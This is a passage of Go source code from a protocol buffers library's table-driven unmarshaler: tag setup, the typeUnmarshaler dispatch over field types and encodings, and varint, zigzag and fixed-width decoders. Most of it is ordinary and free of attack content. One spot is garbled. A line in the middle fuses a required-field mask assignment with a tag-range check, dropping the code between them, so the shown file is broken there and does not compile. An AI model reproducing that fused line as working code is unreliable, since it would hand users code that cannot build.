{\n\t\t\t\t\t// We have found the corresponding interface for this struct.\n\t\t\t\t\t// That lets us know where this struct should be stored\n\t\t\t\t\t// when we encounter it during unmarshaling.\n\t\t\t\t\tunmarshal := makeUnmarshalOneof(typ, of.ityp, baseUnmarshal)\n\t\t\t\t\tu.setTag(fieldNum, of.field, unmarshal, 0, name)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Get extension ranges, if any.\n\tfn = reflect.Zero(reflect.PtrTo(t)).MethodByName(\"ExtensionRangeArray\")\n\tif fn.IsValid() {\n\t\tif !u.extensions.IsValid() && !u.oldExtensions.IsValid() && !u.bytesExtensions.IsValid() {\n\t\t\tpanic(\"a message with extensions, but no extensions field in \" + t.Name())\n\t\t}\n\t\tu.extensionRanges = fn.Call(nil)[0].Interface().([]ExtensionRange)\n\t}\n\n\t// Explicitly disallow tag 0. This will ensure we flag an error\n\t// when decoding a buffer of all zeros. Without this code, we\n\t// would decode and skip an all-zero buffer of even length.\n\t// [0 0] is [tag=0/wiretype=varint varint-encoded-0].\n\tu.setTag(0, zeroField, func(b []byte, f pointer, w int) ([]byte, error) {\n\t\treturn nil, fmt.Errorf(\"proto: %s: illegal tag 0 (wire type %d)\", t, w)\n\t}, 0, \"\")\n\n\t// Set mask for required field check.\n\tu.reqMask = uint64(1)<= 0 && (tag < 16 || tag < 2*n) { // TODO: what are the right numbers here?\n\t\tfor len(u.dense) <= tag {\n\t\t\tu.dense = append(u.dense, unmarshalFieldInfo{})\n\t\t}\n\t\tu.dense[tag] = i\n\t\treturn\n\t}\n\tif u.sparse == nil {\n\t\tu.sparse = map[uint64]unmarshalFieldInfo{}\n\t}\n\tu.sparse[uint64(tag)] = i\n}\n\n// fieldUnmarshaler returns an unmarshaler for the given field.\nfunc fieldUnmarshaler(f *reflect.StructField) unmarshaler {\n\tif f.Type.Kind() == reflect.Map {\n\t\treturn makeUnmarshalMap(f)\n\t}\n\treturn typeUnmarshaler(f.Type, f.Tag.Get(\"protobuf\"))\n}\n\n// typeUnmarshaler returns an unmarshaler for the given field type / field tag pair.\nfunc typeUnmarshaler(t reflect.Type, tags string) unmarshaler {\n\ttagArray := strings.Split(tags, \",\")\n\tencoding := tagArray[0]\n\tname := \"unknown\"\n\tctype := false\n\tisTime := false\n\tisDuration := false\n\tisWktPointer := false\n\tproto3 := false\n\tvalidateUTF8 := true\n\tfor _, tag := range tagArray[3:] {\n\t\tif strings.HasPrefix(tag, \"name=\") {\n\t\t\tname = tag[5:]\n\t\t}\n\t\tif tag == \"proto3\" {\n\t\t\tproto3 = true\n\t\t}\n\t\tif strings.HasPrefix(tag, \"customtype=\") {\n\t\t\tctype = true\n\t\t}\n\t\tif tag == \"stdtime\" {\n\t\t\tisTime = true\n\t\t}\n\t\tif tag == \"stdduration\" {\n\t\t\tisDuration = true\n\t\t}\n\t\tif tag == \"wktptr\" {\n\t\t\tisWktPointer = true\n\t\t}\n\t}\n\tvalidateUTF8 = validateUTF8 && proto3\n\n\t// Figure out packaging (pointer, slice, or both)\n\tslice := false\n\tpointer := false\n\tif t.Kind() == reflect.Slice && t.Elem().Kind() != reflect.Uint8 {\n\t\tslice = true\n\t\tt = t.Elem()\n\t}\n\tif t.Kind() == reflect.Ptr {\n\t\tpointer = true\n\t\tt = t.Elem()\n\t}\n\n\tif ctype {\n\t\tif reflect.PtrTo(t).Implements(customType) {\n\t\t\tif slice {\n\t\t\t\treturn makeUnmarshalCustomSlice(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\tif pointer {\n\t\t\t\treturn makeUnmarshalCustomPtr(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\treturn makeUnmarshalCustom(getUnmarshalInfo(t), name)\n\t\t} else {\n\t\t\tpanic(fmt.Sprintf(\"custom type: type: %v, does not implement the proto.custom interface\", t))\n\t\t}\n\t}\n\n\tif isTime {\n\t\tif pointer {\n\t\t\tif slice {\n\t\t\t\treturn makeUnmarshalTimePtrSlice(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\treturn makeUnmarshalTimePtr(getUnmarshalInfo(t), name)\n\t\t}\n\t\tif slice {\n\t\t\treturn makeUnmarshalTimeSlice(getUnmarshalInfo(t), name)\n\t\t}\n\t\treturn makeUnmarshalTime(getUnmarshalInfo(t), name)\n\t}\n\n\tif isDuration {\n\t\tif pointer {\n\t\t\tif slice {\n\t\t\t\treturn makeUnmarshalDurationPtrSlice(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\treturn makeUnmarshalDurationPtr(getUnmarshalInfo(t), name)\n\t\t}\n\t\tif slice {\n\t\t\treturn makeUnmarshalDurationSlice(getUnmarshalInfo(t), name)\n\t\t}\n\t\treturn makeUnmarshalDuration(getUnmarshalInfo(t), name)\n\t}\n\n\tif isWktPointer {\n\t\tswitch t.Kind() {\n\t\tcase reflect.Float64:\n\t\t\tif pointer {\n\t\t\t\tif slice {\n\t\t\t\t\treturn makeStdDoubleValuePtrSliceUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t\t}\n\t\t\t\treturn makeStdDoubleValuePtrUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\tif slice {\n\t\t\t\treturn makeStdDoubleValueSliceUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\treturn makeStdDoubleValueUnmarshaler(getUnmarshalInfo(t), name)\n\t\tcase reflect.Float32:\n\t\t\tif pointer {\n\t\t\t\tif slice {\n\t\t\t\t\treturn makeStdFloatValuePtrSliceUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t\t}\n\t\t\t\treturn makeStdFloatValuePtrUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\tif slice {\n\t\t\t\treturn makeStdFloatValueSliceUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\treturn makeStdFloatValueUnmarshaler(getUnmarshalInfo(t), name)\n\t\tcase reflect.Int64:\n\t\t\tif pointer {\n\t\t\t\tif slice {\n\t\t\t\t\treturn makeStdInt64ValuePtrSliceUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t\t}\n\t\t\t\treturn makeStdInt64ValuePtrUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\tif slice {\n\t\t\t\treturn makeStdInt64ValueSliceUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\treturn makeStdInt64ValueUnmarshaler(getUnmarshalInfo(t), name)\n\t\tcase reflect.Uint64:\n\t\t\tif pointer {\n\t\t\t\tif slice {\n\t\t\t\t\treturn makeStdUInt64ValuePtrSliceUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t\t}\n\t\t\t\treturn makeStdUInt64ValuePtrUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\tif slice {\n\t\t\t\treturn makeStdUInt64ValueSliceUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\treturn makeStdUInt64ValueUnmarshaler(getUnmarshalInfo(t), name)\n\t\tcase reflect.Int32:\n\t\t\tif pointer {\n\t\t\t\tif slice {\n\t\t\t\t\treturn makeStdInt32ValuePtrSliceUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t\t}\n\t\t\t\treturn makeStdInt32ValuePtrUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\tif slice {\n\t\t\t\treturn makeStdInt32ValueSliceUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\treturn makeStdInt32ValueUnmarshaler(getUnmarshalInfo(t), name)\n\t\tcase reflect.Uint32:\n\t\t\tif pointer {\n\t\t\t\tif slice {\n\t\t\t\t\treturn makeStdUInt32ValuePtrSliceUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t\t}\n\t\t\t\treturn makeStdUInt32ValuePtrUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\tif slice {\n\t\t\t\treturn makeStdUInt32ValueSliceUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\treturn makeStdUInt32ValueUnmarshaler(getUnmarshalInfo(t), name)\n\t\tcase reflect.Bool:\n\t\t\tif pointer {\n\t\t\t\tif slice {\n\t\t\t\t\treturn makeStdBoolValuePtrSliceUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t\t}\n\t\t\t\treturn makeStdBoolValuePtrUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\tif slice {\n\t\t\t\treturn makeStdBoolValueSliceUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\treturn makeStdBoolValueUnmarshaler(getUnmarshalInfo(t), name)\n\t\tcase reflect.String:\n\t\t\tif pointer {\n\t\t\t\tif slice {\n\t\t\t\t\treturn makeStdStringValuePtrSliceUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t\t}\n\t\t\t\treturn makeStdStringValuePtrUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\tif slice {\n\t\t\t\treturn makeStdStringValueSliceUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\treturn makeStdStringValueUnmarshaler(getUnmarshalInfo(t), name)\n\t\tcase uint8SliceType:\n\t\t\tif pointer {\n\t\t\t\tif slice {\n\t\t\t\t\treturn makeStdBytesValuePtrSliceUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t\t}\n\t\t\t\treturn makeStdBytesValuePtrUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\tif slice {\n\t\t\t\treturn makeStdBytesValueSliceUnmarshaler(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\treturn makeStdBytesValueUnmarshaler(getUnmarshalInfo(t), name)\n\t\tdefault:\n\t\t\tpanic(fmt.Sprintf(\"unknown wktpointer type %#v\", t))\n\t\t}\n\t}\n\n\t// We'll never have both pointer and slice for basic types.\n\tif pointer && slice && t.Kind() != reflect.Struct {\n\t\tpanic(\"both pointer and slice for basic type in \" + t.Name())\n\t}\n\n\tswitch t.Kind() {\n\tcase reflect.Bool:\n\t\tif pointer {\n\t\t\treturn unmarshalBoolPtr\n\t\t}\n\t\tif slice {\n\t\t\treturn unmarshalBoolSlice\n\t\t}\n\t\treturn unmarshalBoolValue\n\tcase reflect.Int32:\n\t\tswitch encoding {\n\t\tcase \"fixed32\":\n\t\t\tif pointer {\n\t\t\t\treturn unmarshalFixedS32Ptr\n\t\t\t}\n\t\t\tif slice {\n\t\t\t\treturn unmarshalFixedS32Slice\n\t\t\t}\n\t\t\treturn unmarshalFixedS32Value\n\t\tcase \"varint\":\n\t\t\t// this could be int32 or enum\n\t\t\tif pointer {\n\t\t\t\treturn unmarshalInt32Ptr\n\t\t\t}\n\t\t\tif slice {\n\t\t\t\treturn unmarshalInt32Slice\n\t\t\t}\n\t\t\treturn unmarshalInt32Value\n\t\tcase \"zigzag32\":\n\t\t\tif pointer {\n\t\t\t\treturn unmarshalSint32Ptr\n\t\t\t}\n\t\t\tif slice {\n\t\t\t\treturn unmarshalSint32Slice\n\t\t\t}\n\t\t\treturn unmarshalSint32Value\n\t\t}\n\tcase reflect.Int64:\n\t\tswitch encoding {\n\t\tcase \"fixed64\":\n\t\t\tif pointer {\n\t\t\t\treturn unmarshalFixedS64Ptr\n\t\t\t}\n\t\t\tif slice {\n\t\t\t\treturn unmarshalFixedS64Slice\n\t\t\t}\n\t\t\treturn unmarshalFixedS64Value\n\t\tcase \"varint\":\n\t\t\tif pointer {\n\t\t\t\treturn unmarshalInt64Ptr\n\t\t\t}\n\t\t\tif slice {\n\t\t\t\treturn unmarshalInt64Slice\n\t\t\t}\n\t\t\treturn unmarshalInt64Value\n\t\tcase \"zigzag64\":\n\t\t\tif pointer {\n\t\t\t\treturn unmarshalSint64Ptr\n\t\t\t}\n\t\t\tif slice {\n\t\t\t\treturn unmarshalSint64Slice\n\t\t\t}\n\t\t\treturn unmarshalSint64Value\n\t\t}\n\tcase reflect.Uint32:\n\t\tswitch encoding {\n\t\tcase \"fixed32\":\n\t\t\tif pointer {\n\t\t\t\treturn unmarshalFixed32Ptr\n\t\t\t}\n\t\t\tif slice {\n\t\t\t\treturn unmarshalFixed32Slice\n\t\t\t}\n\t\t\treturn unmarshalFixed32Value\n\t\tcase \"varint\":\n\t\t\tif pointer {\n\t\t\t\treturn unmarshalUint32Ptr\n\t\t\t}\n\t\t\tif slice {\n\t\t\t\treturn unmarshalUint32Slice\n\t\t\t}\n\t\t\treturn unmarshalUint32Value\n\t\t}\n\tcase reflect.Uint64:\n\t\tswitch encoding {\n\t\tcase \"fixed64\":\n\t\t\tif pointer {\n\t\t\t\treturn unmarshalFixed64Ptr\n\t\t\t}\n\t\t\tif slice {\n\t\t\t\treturn unmarshalFixed64Slice\n\t\t\t}\n\t\t\treturn unmarshalFixed64Value\n\t\tcase \"varint\":\n\t\t\tif pointer {\n\t\t\t\treturn unmarshalUint64Ptr\n\t\t\t}\n\t\t\tif slice {\n\t\t\t\treturn unmarshalUint64Slice\n\t\t\t}\n\t\t\treturn unmarshalUint64Value\n\t\t}\n\tcase reflect.Float32:\n\t\tif pointer {\n\t\t\treturn unmarshalFloat32Ptr\n\t\t}\n\t\tif slice {\n\t\t\treturn unmarshalFloat32Slice\n\t\t}\n\t\treturn unmarshalFloat32Value\n\tcase reflect.Float64:\n\t\tif pointer {\n\t\t\treturn unmarshalFloat64Ptr\n\t\t}\n\t\tif slice {\n\t\t\treturn unmarshalFloat64Slice\n\t\t}\n\t\treturn unmarshalFloat64Value\n\tcase reflect.Map:\n\t\tpanic(\"map type in typeUnmarshaler in \" + t.Name())\n\tcase reflect.Slice:\n\t\tif pointer {\n\t\t\tpanic(\"bad pointer in slice case in \" + t.Name())\n\t\t}\n\t\tif slice {\n\t\t\treturn unmarshalBytesSlice\n\t\t}\n\t\treturn unmarshalBytesValue\n\tcase reflect.String:\n\t\tif validateUTF8 {\n\t\t\tif pointer {\n\t\t\t\treturn unmarshalUTF8StringPtr\n\t\t\t}\n\t\t\tif slice {\n\t\t\t\treturn unmarshalUTF8StringSlice\n\t\t\t}\n\t\t\treturn unmarshalUTF8StringValue\n\t\t}\n\t\tif pointer {\n\t\t\treturn unmarshalStringPtr\n\t\t}\n\t\tif slice {\n\t\t\treturn unmarshalStringSlice\n\t\t}\n\t\treturn unmarshalStringValue\n\tcase reflect.Struct:\n\t\t// message or group field\n\t\tif !pointer {\n\t\t\tswitch encoding {\n\t\t\tcase \"bytes\":\n\t\t\t\tif slice {\n\t\t\t\t\treturn makeUnmarshalMessageSlice(getUnmarshalInfo(t), name)\n\t\t\t\t}\n\t\t\t\treturn makeUnmarshalMessage(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t}\n\t\tswitch encoding {\n\t\tcase \"bytes\":\n\t\t\tif slice {\n\t\t\t\treturn makeUnmarshalMessageSlicePtr(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\treturn makeUnmarshalMessagePtr(getUnmarshalInfo(t), name)\n\t\tcase \"group\":\n\t\t\tif slice {\n\t\t\t\treturn makeUnmarshalGroupSlicePtr(getUnmarshalInfo(t), name)\n\t\t\t}\n\t\t\treturn makeUnmarshalGroupPtr(getUnmarshalInfo(t), name)\n\t\t}\n\t}\n\tpanic(fmt.Sprintf(\"unmarshaler not found type:%s encoding:%s\", t, encoding))\n}\n\n// Below are all the unmarshalers for individual fields of various types.\n\nfunc unmarshalInt64Value(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireVarint {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tv := int64(x)\n\t*f.toInt64() = v\n\treturn b, nil\n}\n\nfunc unmarshalInt64Ptr(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireVarint {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tv := int64(x)\n\t*f.toInt64Ptr() = &v\n\treturn b, nil\n}\n\nfunc unmarshalInt64Slice(b []byte, f pointer, w int) ([]byte, error) {\n\tif w == WireBytes { // packed\n\t\tx, n := decodeVarint(b)\n\t\tif n == 0 {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tb = b[n:]\n\t\tif x > uint64(len(b)) {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tres := b[x:]\n\t\tb = b[:x]\n\t\tfor len(b) > 0 {\n\t\t\tx, n = decodeVarint(b)\n\t\t\tif n == 0 {\n\t\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tb = b[n:]\n\t\t\tv := int64(x)\n\t\t\ts := f.toInt64Slice()\n\t\t\t*s = append(*s, v)\n\t\t}\n\t\treturn res, nil\n\t}\n\tif w != WireVarint {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tv := int64(x)\n\ts := f.toInt64Slice()\n\t*s = append(*s, v)\n\treturn b, nil\n}\n\nfunc unmarshalSint64Value(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireVarint {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tv := int64(x>>1) ^ int64(x)<<63>>63\n\t*f.toInt64() = v\n\treturn b, nil\n}\n\nfunc unmarshalSint64Ptr(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireVarint {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tv := int64(x>>1) ^ int64(x)<<63>>63\n\t*f.toInt64Ptr() = &v\n\treturn b, nil\n}\n\nfunc unmarshalSint64Slice(b []byte, f pointer, w int) ([]byte, error) {\n\tif w == WireBytes { // packed\n\t\tx, n := decodeVarint(b)\n\t\tif n == 0 {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tb = b[n:]\n\t\tif x > uint64(len(b)) {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tres := b[x:]\n\t\tb = b[:x]\n\t\tfor len(b) > 0 {\n\t\t\tx, n = decodeVarint(b)\n\t\t\tif n == 0 {\n\t\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tb = b[n:]\n\t\t\tv := int64(x>>1) ^ int64(x)<<63>>63\n\t\t\ts := f.toInt64Slice()\n\t\t\t*s = append(*s, v)\n\t\t}\n\t\treturn res, nil\n\t}\n\tif w != WireVarint {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tv := int64(x>>1) ^ int64(x)<<63>>63\n\ts := f.toInt64Slice()\n\t*s = append(*s, v)\n\treturn b, nil\n}\n\nfunc unmarshalUint64Value(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireVarint {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tv := uint64(x)\n\t*f.toUint64() = v\n\treturn b, nil\n}\n\nfunc unmarshalUint64Ptr(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireVarint {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tv := uint64(x)\n\t*f.toUint64Ptr() = &v\n\treturn b, nil\n}\n\nfunc unmarshalUint64Slice(b []byte, f pointer, w int) ([]byte, error) {\n\tif w == WireBytes { // packed\n\t\tx, n := decodeVarint(b)\n\t\tif n == 0 {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tb = b[n:]\n\t\tif x > uint64(len(b)) {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tres := b[x:]\n\t\tb = b[:x]\n\t\tfor len(b) > 0 {\n\t\t\tx, n = decodeVarint(b)\n\t\t\tif n == 0 {\n\t\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tb = b[n:]\n\t\t\tv := uint64(x)\n\t\t\ts := f.toUint64Slice()\n\t\t\t*s = append(*s, v)\n\t\t}\n\t\treturn res, nil\n\t}\n\tif w != WireVarint {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tv := uint64(x)\n\ts := f.toUint64Slice()\n\t*s = append(*s, v)\n\treturn b, nil\n}\n\nfunc unmarshalInt32Value(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireVarint {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tv := int32(x)\n\t*f.toInt32() = v\n\treturn b, nil\n}\n\nfunc unmarshalInt32Ptr(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireVarint {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tv := int32(x)\n\tf.setInt32Ptr(v)\n\treturn b, nil\n}\n\nfunc unmarshalInt32Slice(b []byte, f pointer, w int) ([]byte, error) {\n\tif w == WireBytes { // packed\n\t\tx, n := decodeVarint(b)\n\t\tif n == 0 {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tb = b[n:]\n\t\tif x > uint64(len(b)) {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tres := b[x:]\n\t\tb = b[:x]\n\t\tfor len(b) > 0 {\n\t\t\tx, n = decodeVarint(b)\n\t\t\tif n == 0 {\n\t\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tb = b[n:]\n\t\t\tv := int32(x)\n\t\t\tf.appendInt32Slice(v)\n\t\t}\n\t\treturn res, nil\n\t}\n\tif w != WireVarint {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tv := int32(x)\n\tf.appendInt32Slice(v)\n\treturn b, nil\n}\n\nfunc unmarshalSint32Value(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireVarint {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tv := int32(x>>1) ^ int32(x)<<31>>31\n\t*f.toInt32() = v\n\treturn b, nil\n}\n\nfunc unmarshalSint32Ptr(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireVarint {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tv := int32(x>>1) ^ int32(x)<<31>>31\n\tf.setInt32Ptr(v)\n\treturn b, nil\n}\n\nfunc unmarshalSint32Slice(b []byte, f pointer, w int) ([]byte, error) {\n\tif w == WireBytes { // packed\n\t\tx, n := decodeVarint(b)\n\t\tif n == 0 {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tb = b[n:]\n\t\tif x > uint64(len(b)) {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tres := b[x:]\n\t\tb = b[:x]\n\t\tfor len(b) > 0 {\n\t\t\tx, n = decodeVarint(b)\n\t\t\tif n == 0 {\n\t\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tb = b[n:]\n\t\t\tv := int32(x>>1) ^ int32(x)<<31>>31\n\t\t\tf.appendInt32Slice(v)\n\t\t}\n\t\treturn res, nil\n\t}\n\tif w != WireVarint {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tv := int32(x>>1) ^ int32(x)<<31>>31\n\tf.appendInt32Slice(v)\n\treturn b, nil\n}\n\nfunc unmarshalUint32Value(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireVarint {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tv := uint32(x)\n\t*f.toUint32() = v\n\treturn b, nil\n}\n\nfunc unmarshalUint32Ptr(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireVarint {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tv := uint32(x)\n\t*f.toUint32Ptr() = &v\n\treturn b, nil\n}\n\nfunc unmarshalUint32Slice(b []byte, f pointer, w int) ([]byte, error) {\n\tif w == WireBytes { // packed\n\t\tx, n := decodeVarint(b)\n\t\tif n == 0 {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tb = b[n:]\n\t\tif x > uint64(len(b)) {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tres := b[x:]\n\t\tb = b[:x]\n\t\tfor len(b) > 0 {\n\t\t\tx, n = decodeVarint(b)\n\t\t\tif n == 0 {\n\t\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tb = b[n:]\n\t\t\tv := uint32(x)\n\t\t\ts := f.toUint32Slice()\n\t\t\t*s = append(*s, v)\n\t\t}\n\t\treturn res, nil\n\t}\n\tif w != WireVarint {\n\t\treturn b, errInternalBadWireType\n\t}\n\tx, n := decodeVarint(b)\n\tif n == 0 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tb = b[n:]\n\tv := uint32(x)\n\ts := f.toUint32Slice()\n\t*s = append(*s, v)\n\treturn b, nil\n}\n\nfunc unmarshalFixed64Value(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireFixed64 {\n\t\treturn b, errInternalBadWireType\n\t}\n\tif len(b) < 8 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56\n\t*f.toUint64() = v\n\treturn b[8:], nil\n}\n\nfunc unmarshalFixed64Ptr(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireFixed64 {\n\t\treturn b, errInternalBadWireType\n\t}\n\tif len(b) < 8 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56\n\t*f.toUint64Ptr() = &v\n\treturn b[8:], nil\n}\n\nfunc unmarshalFixed64Slice(b []byte, f pointer, w int) ([]byte, error) {\n\tif w == WireBytes { // packed\n\t\tx, n := decodeVarint(b)\n\t\tif n == 0 {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tb = b[n:]\n\t\tif x > uint64(len(b)) {\n\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t}\n\t\tres := b[x:]\n\t\tb = b[:x]\n\t\tfor len(b) > 0 {\n\t\t\tif len(b) < 8 {\n\t\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tv := uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56\n\t\t\ts := f.toUint64Slice()\n\t\t\t*s = append(*s, v)\n\t\t\tb = b[8:]\n\t\t}\n\t\treturn res, nil\n\t}\n\tif w != WireFixed64 {\n\t\treturn b, errInternalBadWireType\n\t}\n\tif len(b) < 8 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56\n\ts := f.toUint64Slice()\n\t*s = append(*s, v)\n\treturn b[8:], nil\n}\n\nfunc unmarshalFixedS64Value(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != WireFixed64 {\n\t\treturn b, errInternalBadWireType\n\t}\n\tif len(b) < 8 {\n\t\treturn nil, io.ErrUnexpectedEOF\n\t}\n\tv := int64(b[0]) | int64(b[1])<<8 | int64(b[2])<<16 | int64(b[3])<<24 | int64(b[4])<<32 | int64(b[5])<<40 | int64(b[6])<<48 | int64(b[7])<<56\n\t*f.toInt64() = v\n\treturn b[8:], nil\n}\n\nfunc unmarshalFixedS64Ptr(b []byte, f pointer, w int) ([]byte, error) {\n\tif w != 